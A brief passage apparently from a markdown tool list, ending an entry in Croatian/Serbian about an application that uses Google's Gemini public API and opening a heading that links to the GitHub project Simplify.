aplikacija. Koristi Google-ov Gemini javni API. ### [Simplify](https://github.com/CalebFenton/simplify)